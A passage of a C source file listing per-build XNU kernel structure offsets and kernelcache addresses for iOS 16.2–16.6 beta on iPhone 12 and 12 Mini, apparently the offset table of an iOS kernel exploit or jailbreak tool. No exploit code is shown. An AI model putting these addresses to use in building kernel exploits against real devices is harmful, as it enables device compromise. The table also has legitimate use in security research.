.proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3b1190,\n        .kernelcache__gPhysBase = 0xfffffff00784c1b0,\n        .kernelcache__gPhysSize = 0xfffffff00784c1b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784a390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed00f4,\n        .kernelcache__ptov_table = 0xfffffff0077ff3b8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800,\n        .kernelcache__vm_pages = 0xfffffff0077fc0d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe368,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f226a0,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone13,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3b1190,\n        .kernelcache__gPhysBase = 0xfffffff00784c1b0,\n        .kernelcache__gPhysSize = 0xfffffff00784c1b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784a390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed00f4,\n        .kernelcache__ptov_table = 0xfffffff0077ff3b8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800,\n        .kernelcache__vm_pages = 0xfffffff0077fc0d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe368,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f226a0,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone13,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a491208,\n        .kernelcache__gPhysBase = 0xfffffff00792bfc0,\n        .kernelcache__gPhysSize = 0xfffffff00792bfc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792a198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4cf520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef064c,\n        .kernelcache__ptov_table = 0xfffffff0078df188,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ce990,\n        .kernelcache__vm_pages = 0xfffffff0078dbeb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078de128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ce988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3f538,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone13,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a491208,\n        .kernelcache__gPhysBase = 0xfffffff00792bfc0,\n        .kernelcache__gPhysSize = 0xfffffff00792bfc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792a198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4cf520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef064c,\n        .kernelcache__ptov_table = 0xfffffff0078df188,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ce990,\n        .kernelcache__vm_pages = 0xfffffff0078dbeb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078de128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ce988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3f538,\n    },\n  // iOS 16.5 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:08:42 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone13,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a49d288,\n        .kernelcache__gPhysBase = 0xfffffff007930100,\n        .kernelcache__gPhysSize = 0xfffffff007930100 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e2d8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4db520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef484c,\n        .kernelcache__ptov_table = 0xfffffff0078e3188,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4da990,\n        .kernelcache__vm_pages = 0xfffffff0078dfeb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4da988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f439d0,\n    },\n  // iOS 16.6 Beta 1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:36 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8101\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone13,2\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a545ab0,\n        .kernelcache__gPhysBase = 0xfffffff0079442a8,\n        .kernelcache__gPhysSize = 0xfffffff0079442a8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942460,\n        .kernelcache__perfmon_devices = 0xfffffff00a585550,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f1508c,\n        .kernelcache__ptov_table = 0xfffffff0078f79c8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a584910,\n        .kernelcache__vm_pages = 0xfffffff0078f4108,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6968,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a584908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f63be0,\n    },\n // End iPhone 12 //\n // Start iPhone 12 Mini //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:55 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone13,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3b1190,\n        .kernelcache__gPhysBase = 0xfffffff0078500c8,\n        .kernelcache__gPhysSize = 0xfffffff0078500c8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784e2a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed41c4,\n        .kernelcache__ptov_table = 0xfffffff007803378,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800,\n        .kernelcache__vm_pages = 0xfffffff007800090,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802328,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f26780,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone13,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3b1190,\n        .kernelcache__gPhysBase = 0xfffffff00784c1b0,\n        .kernelcache__gPhysSize = 0xfffffff00784c1b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784a390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0,\n        